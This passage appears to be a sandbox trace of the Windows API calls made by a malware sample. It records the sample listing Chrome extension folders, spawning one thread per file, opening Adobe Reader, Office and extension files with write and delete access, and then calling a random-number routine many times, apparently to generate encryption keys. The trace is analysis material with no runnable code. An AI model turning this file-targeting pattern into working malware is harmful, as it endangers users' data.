cAlternateFileName="")) returned 1 [0164.429] wcscmp (_String1="..", _String2=".") returned 1 [0164.429] wcscmp (_String1="..", _String2="..") returned 0 [0164.429] FindNextFileW (in: hFindFile=0x8da450, lpFindFileData=0x905830 | out: lpFindFileData=0x905830*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86833250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0.9_0", cAlternateFileName="")) returned 1 [0164.429] wcscmp (_String1="0.9_0", _String2=".") returned 1 [0164.429] wcscmp (_String1="0.9_0", _String2="..") returned 1 [0164.429] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xfc) returned 0xd4ca9c8 [0164.429] wcscpy (in: _Dest=0xd4ca9c8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake" [0164.429] wcscat (in: _Dest=0xd4ca9c8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\" [0164.429] wcscat (in: _Dest=0xd4ca9c8, _Source="0.9_0" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0" [0165.014] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0xd4ca9c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb04 [0165.015] FindNextFileW (in: hFindFile=0x8da450, lpFindFileData=0x905830 | out: lpFindFileData=0x905830*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86833250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0.9_0", cAlternateFileName="")) returned 0 [0165.016] FindClose (in: hFindFile=0x8da450 | out: hFindFile=0x8da450) returned 1 [0165.016] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x905830) returned 1 [0165.016] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8ec3d8) returned 1 [0165.016] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9bfcf8) returned 1 Thread: id = 5088 os_tid = 0xc50 [0163.159] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.mpp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.mpp")) returned 0x20 [0167.002] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.mpp", dwFileAttributes=0x20) returned 0 [0167.002] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.mpp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.mpp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0167.002] GetLastError () returned 0x5 [0167.003] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.mpp", dwFileAttributes=0x20) returned 0 [0167.003] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c8ce0) returned 1 Thread: id = 5099 os_tid = 0xc84 [0163.389] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM\\SY______.PFM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\pfm\\sy______.pfm")) returned 0x20 [0163.390] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM\\SY______.PFM", dwFileAttributes=0x20) returned 0 [0163.390] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM\\SY______.PFM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\pfm\\sy______.pfm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0163.391] GetLastError () returned 0x5 [0163.391] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM\\SY______.PFM", dwFileAttributes=0x20) returned 0 [0163.391] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4b7400) returned 1 Thread: id = 5100 os_tid = 0xc88 [0163.392] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM\\zx______.pfm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\pfm\\zx______.pfm")) returned 0x20 [0163.392] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM\\zx______.pfm", dwFileAttributes=0x20) returned 0 [0163.392] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM\\zx______.pfm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\pfm\\zx______.pfm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0163.392] GetLastError () returned 0x5 [0163.392] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM\\zx______.pfm", dwFileAttributes=0x20) returned 0 [0163.392] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c76290) returned 1 Thread: id = 5101 os_tid = 0xc8c [0163.393] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM\\zy______.pfm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\pfm\\zy______.pfm")) returned 0x20 [0163.393] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM\\zy______.pfm", dwFileAttributes=0x20) returned 0 [0163.393] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM\\zy______.pfm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\pfm\\zy______.pfm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0163.394] GetLastError () returned 0x5 [0163.394] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM\\zy______.pfm", dwFileAttributes=0x20) returned 0 [0163.394] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c77460) returned 1 Thread: id = 5102 os_tid = 0xc90 [0163.395] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\accessibility.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\accessibility.suo")) returned 0x20 [0163.395] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\accessibility.SUO", dwFileAttributes=0x20) returned 0 [0163.395] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\accessibility.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\accessibility.suo"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0163.395] GetLastError () returned 0x5 [0163.395] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\accessibility.SUO", dwFileAttributes=0x20) returned 0 [0163.395] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x935590) returned 1 Thread: id = 5103 os_tid = 0xc94 [0163.396] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Acroform.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\acroform.suo")) returned 0x20 [0165.230] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Acroform.SUO", dwFileAttributes=0x20) returned 0 [0166.387] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Acroform.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\acroform.suo"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0166.387] GetLastError () returned 0x5 [0166.387] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Acroform.SUO", dwFileAttributes=0x20) returned 0 [0166.387] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ade88) returned 1 Thread: id = 5104 os_tid = 0xc98 [0163.397] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\AdobeCollabSync.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\adobecollabsync.suo")) returned 0x20 [0166.049] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\AdobeCollabSync.SUO", dwFileAttributes=0x20) returned 0 [0166.050] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\AdobeCollabSync.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\adobecollabsync.suo"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0166.050] GetLastError () returned 0x5 [0166.050] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\AdobeCollabSync.SUO", dwFileAttributes=0x20) returned 0 [0166.050] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x97b288) returned 1 Thread: id = 5105 os_tid = 0xc9c [0163.399] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Annots.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\annots.suo")) returned 0x20 [0166.051] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Annots.SUO", dwFileAttributes=0x20) returned 0 [0166.051] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Annots.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\annots.suo"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0166.051] GetLastError () returned 0x5 [0166.051] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Annots.SUO", dwFileAttributes=0x20) returned 0 [0166.051] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c774f8) returned 1 Thread: id = 5106 os_tid = 0xca0 [0163.400] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\BRdlang32.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\brdlang32.suo")) returned 0x20 [0166.049] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\BRdlang32.SUO", dwFileAttributes=0x20) returned 0 [0166.049] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\BRdlang32.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\brdlang32.suo"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0166.049] GetLastError () returned 0x5 [0166.049] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\BRdlang32.SUO", dwFileAttributes=0x20) returned 0 [0166.049] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ad848) returned 1 Thread: id = 5107 os_tid = 0xca4 [0163.400] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Checkers.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\checkers.suo")) returned 0x20 [0165.230] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Checkers.SUO", dwFileAttributes=0x20) returned 0 [0165.785] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Checkers.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\checkers.suo"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0165.786] GetLastError () returned 0x5 [0165.786] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Checkers.SUO", dwFileAttributes=0x20) returned 0 [0165.786] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ae2e8) returned 1 Thread: id = 5108 os_tid = 0xca8 [0163.400] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\DigSig.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\digsig.suo")) returned 0x20 [0166.050] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\DigSig.SUO", dwFileAttributes=0x20) returned 0 [0166.050] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\DigSig.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\digsig.suo"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0166.050] GetLastError () returned 0x5 [0166.050] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\DigSig.SUO", dwFileAttributes=0x20) returned 0 [0166.050] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c75d38) returned 1 Thread: id = 5109 os_tid = 0xcb4 [0163.401] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\AMERITECH.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\ameritech.net.xml")) returned 0x20 [0163.401] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\AMERITECH.NET.XML", dwFileAttributes=0x20) returned 0 [0163.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\AMERITECH.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\ameritech.net.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0163.401] GetLastError () returned 0x5 [0163.401] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\AMERITECH.NET.XML", dwFileAttributes=0x20) returned 0 [0163.401] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c8a20) returned 1 Thread: id = 5110 os_tid = 0xcb8 [0163.402] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\BTINTERNET.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\btinternet.net.xml")) returned 0x20 [0163.402] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\BTINTERNET.NET.XML", dwFileAttributes=0x20) returned 0 [0163.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\BTINTERNET.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\btinternet.net.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0163.402] GetLastError () returned 0x5 [0163.402] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\BTINTERNET.NET.XML", dwFileAttributes=0x20) returned 0 [0163.403] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x97c728) returned 1 Thread: id = 5133 os_tid = 0xcd8 [0163.756] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\services\\dexshare.asfx")) returned 0x20 [0163.756] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Services\\DEXShare.asfx", dwFileAttributes=0x20) returned 0 [0163.756] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\services\\dexshare.asfx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0163.756] GetLastError () returned 0x5 [0163.756] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Services\\DEXShare.asfx", dwFileAttributes=0x20) returned 0 [0163.757] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x97ba18) returned 1 Thread: id = 5134 os_tid = 0xcdc [0163.758] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\services\\services.asfx")) returned 0x20 [0163.758] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Services\\Services.asfx", dwFileAttributes=0x20) returned 0 [0163.758] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\services\\services.asfx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0163.758] GetLastError () returned 0x5 [0163.758] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Services\\Services.asfx", dwFileAttributes=0x20) returned 0 [0163.758] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x97af18) returned 1 Thread: id = 5135 os_tid = 0xce0 [0163.759] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\000003.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\000003.log")) returned 0x2020 [0164.627] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\000003.log", dwFileAttributes=0x20) returned 1 [0165.368] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\000003.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\000003.log"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd34 [0165.368] GetFileSizeEx (in: hFile=0xd34, lpFileSize=0x342fb4c | out: lpFileSize=0x342fb4c*=0) returned 1 [0165.368] FlushFileBuffers (hFile=0xd34) returned 1 [0166.450] CloseHandle (hObject=0xd34) returned 1 [0166.450] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\000003.log", dwFileAttributes=0x2020) returned 1 [0166.450] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6df8) returned 1 Thread: id = 5136 os_tid = 0xce4 [0163.760] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\CURRENT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\current")) returned 0x2020 [0164.627] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\CURRENT", dwFileAttributes=0x20) returned 1 [0166.120] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\CURRENT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\current"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xbb0 [0166.121] GetFileSizeEx (in: hFile=0xbb0, lpFileSize=0x36cfb38 | out: lpFileSize=0x36cfb38*=16) returned 1 [0166.121] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945848 [0166.121] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945b18 [0166.121] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945500 [0166.121] NtQuerySystemTime (in: CurrentTime=0x36cfa98 | out: CurrentTime=0x36cfa98*=132174899407102000) returned 0x0 [0166.121] RtlRandomEx (in: Seed=0x36cfaa4 | out: Seed=0x36cfaa4) returned 0x4bdffef6 [0166.121] RtlRandomEx (in: Seed=0x36cfaa4 | out: Seed=0x36cfaa4) returned 0x18f1d096 [0166.121] RtlRandomEx (in: Seed=0x36cfaa4 | out: Seed=0x36cfaa4) returned 0x4491fd84 [0166.121] RtlRandomEx (in: Seed=0x36cfaa4 | out: Seed=0x36cfaa4) returned 0x41dba45 [0166.121] RtlRandomEx (in: Seed=0x36cfaa4 | out: Seed=0x36cfaa4) returned 0x7b99c163 [0166.121] RtlRandomEx (in: Seed=0x36cfaa4 | out: Seed=0x36cfaa4) returned 0x46507683 [0166.121] RtlRandomEx (in: Seed=0x36cfaa4 | out: Seed=0x36cfaa4) returned 0x7fedff31 [0166.121] RtlRandomEx (in: Seed=0x36cfaa4 | out: Seed=0x36cfaa4) returned 0x5aa23d9b [0166.121] RtlRandomEx (in: Seed=0x36cfaa4 | out: Seed=0x36cfaa4) returned 0x26738e44 [0166.121] RtlRandomEx (in: Seed=0x36cfaa4 | out: Seed=0x36cfaa4) returned 0x941fa4a [0166.121] RtlRandomEx (in: Seed=0x36cfaa4 | out: Seed=0x36cfaa4) returned 0x48c4dfb9 [0166.121] RtlRandomEx (in: Seed=0x36cfaa4 | out: Seed=0x36cfaa4) returned 0x76e0e89c [0166.121] RtlRandomEx (in: Seed=0x36cfaa4 | out: Seed=0x36cfaa4) returned 0x434d3903 [0166.121] RtlRandomEx (in: Seed=0x36cfaa4 | out: Seed=0x36cfaa4) returned 0x2e57bf1c [0166.121] RtlRandomEx (in: Seed=0x36cfaa4 | out: Seed=0x36cfaa4) returned 0x57c5678a [0166.121] RtlRandomEx (in: Seed=0x36cfaa4 | out: Seed=0x36cfaa4) returned 0x7d9b3c93 [0166.121] RtlRandomEx (in: Seed=0x36cfaa4 | out: Seed=0x36cfaa4) returned 0x47758535 [0166.121] RtlRandomEx (in: Seed=0x36cfaa4 | out: Seed=0x36cfaa4) returned 0x6458702e [0166.121] RtlRandomEx (in: Seed=0x36cfaa4 | out: Seed=0x36cfaa4) returned 0x42f4cfb3 [0166.121] RtlRandomEx (in: Seed=0x36cfaa4 | out: Seed=0x36cfaa4) returned 0x3d8f9e38 [0166.122] RtlRandomEx (in: Seed=0x36cfaa4 | out: Seed=0x36cfaa4) returned 0x4f3066bc [0166.122] RtlRandomEx (in: Seed=0x36cfaa4 | out: Seed=0x36cfaa4) returned 0x60655430 [0166.122] RtlRandomEx (in: Seed=0x36cfaa4 | out: Seed=0x36cfaa4) returned 0x270de3e1 [0166.122] RtlRandomEx (in: Seed=0x36cfaa4 | out: Seed=0x36cfaa4) returned 